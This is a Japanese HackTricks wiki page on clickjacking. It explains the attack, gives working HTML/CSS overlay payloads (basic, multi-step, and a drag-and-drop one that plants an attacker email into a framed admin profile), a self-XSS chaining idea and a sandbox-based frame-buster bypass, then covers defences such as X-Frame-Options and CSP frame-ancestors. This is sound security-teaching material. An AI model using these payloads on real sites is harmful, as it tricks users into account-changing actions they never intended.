hacktricks/pentesting-web/clickjacking.md

13 KiB
Raw Blame History

Clickjacking

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Clickjackingとは

Clickjacking攻撃では、ユーザー見えないか、異なる要素として偽装されたWebページ上の要素クリックするように騙されます。この操作により、ユーザーにとって意図しない結果がもたらされる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。

フォームの事前入力トリック

時々、ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることができます。攻撃者はこの動作を悪用してフォームに任意のデータを入力し、クリックジャッキングペイロードを送信してユーザーがボタンを押すように誘導することがあります。

ドラッグ&ドロップでフォームにデータを入力

ユーザーにフォームに入力してもらいたいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーにドラッグ&ドロップするように求めることで、制御されたデータを書き込むことができます。この例を参照してください。

基本的なペイロード

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

マルチステップペイロード

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

ドラッグ&ドロップ + クリックペイロード

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

XSS攻撃を特定し、ユーザーがクリックする必要がある場合にXSSをトリガーし、ページがClickjackingに脆弱である場合、ユーザーをだましてボタン/リンクをクリックさせることで悪用できます。
例:
アカウントの一部のプライベート詳細(あなただけが設定および読み取り可能)にself XSSを見つけました。これらの詳細を設定するためのフォームClickjackingに脆弱であり、GETパラメータでフォーム事前に埋め込むことができます。
__攻撃者は、そのページにClickjacking攻撃を準備し、XSSペイロードフォームに事前に埋め込みユーザーをだましてフォームを送信させることができます。そのため、フォームが送信され値が変更されると、ユーザーがXSSを実行します。

Clickjackingの緩和策

クライアントサイドの防御策

クライアアントサイドで実行されるスクリプトは、Clickjackingを防ぐためのアクションを実行できます:

  • アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
  • すべてのフレームを表示する。
  • 不可視フレームでのクリックを防止する。
  • Clickjackingの試みを検出してユーザーに警告する。

ただし、これらのフレームブレーキングスクリプトは回避される可能性があります:

  • ブラウザのセキュリティ設定: 一部のブラウザは、セキュリティ設定やJavaScriptサポートの不足に基づいてこれらのスクリプトをブロックする場合があります。
  • HTML5 iframe sandbox属性: 攻撃者は、allow-formsまたはallow-scriptsの値を設定し、allow-top-navigationを含まないsandbox属性を設定することで、フレームブレーキングスクリプトを無効化できます。これにより、iframeがトップウィンドウであるかどうかを検証することが防止されます。
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

サーバーサイドの防御

X-Frame-Options

X-Frame-Options HTTPレスポンスヘッダーは、<frame>または<iframe>内でページをレンダリングする正当性についてブラウザに通知し、Clickjackingを防ぐのに役立ちます

  • X-Frame-Options: deny - どのドメインもコンテンツをフレーム化できません。
  • X-Frame-Options: sameorigin - 現在のサイトのみがコンテンツをフレーム化できます。
  • X-Frame-Options: allow-from https://trusted.com - 指定された 'uri' のみがページをフレーム化できます。
  • このディレクティブをサポートしていないブラウザがあるため、制限に注意してください。一部のブラウザはCSPのframe-ancestorsディレクティブを好む場合があります。

Content Security Policy (CSP) frame-ancestorsディレクティブ

CSPの**frame-ancestorsディレクティブ**はClickjacking保護の推奨方法です

  • frame-ancestors 'none' - X-Frame-Options: denyと同様。
  • frame-ancestors 'self' - X-Frame-Options: sameoriginと同様。
  • frame-ancestors trusted.com - X-Frame-Options: allow-fromと同様。

たとえば、次のCSPは同じドメインからのフレーミングのみを許可します

Content-Security-Policy: frame-ancestors 'self';

詳細や複雑な例は、frame-ancestors CSPドキュメントおよびMozillaのCSP frame-ancestorsドキュメントで見つけることができます。

Content Security Policy (CSP)のchild-srcおよびframe-srcを使用したCSP

**Content Security Policy (CSP)**は、ブラウザがコンテンツの読み込みを許可するソースを指定することで、Clickjackingやその他のコードインジェクション攻撃を防ぐのに役立つセキュリティ対策です。

frame-srcディレクティブ

  • フレームの有効なソースを定義します。
  • default-srcディレクティブより具体的です。
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

このポリシーでは、同じオリジンselfおよびhttps://trusted-website.comからのフレームが許可されます

child-srcディレクティブ

  • CSPレベル2で導入され、Webワーカーとフレームの有効なソースを設定するためのものです。
  • frame-srcおよびworker-srcのフォールバックとして機能します。
Content-Security-Policy: child-src 'self' https://trusted-website.com;

このポリシーでは、同じオリジンselfおよびhttps://trusted-website.comからのフレームとワーカーが許可されています

使用上の注意:

  • 廃止予定: child-srcはframe-srcおよびworker-srcに取って代わられる過程にあります。
  • フォールバック動作: frame-srcが存在しない場合、フレームのフォールバックとしてchild-srcが使用されます。両方が存在しない場合、default-srcが使用されます。
  • 厳密なソース定義: 悪用を防ぐためにディレクティブに信頼できるソースのみを含めます。

JavaScriptによるフレーム破壊スクリプト

完全には防げないものの、JavaScriptベースのフレーム破壊スクリプトを使用して、Webページがフレーム化されるのを防ぐことができます。例:

if (top !== self) {
top.location = self.location;
}

Anti-CSRFトークンの利用

  • トークンの検証: WebアプリケーションでAnti-CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われ、Clickjackedページを介して行われないようにします。

参考文献


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセス:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう htARTE (HackTricks AWS Red Team Expert)!

HackTricksをサポートする他の方法: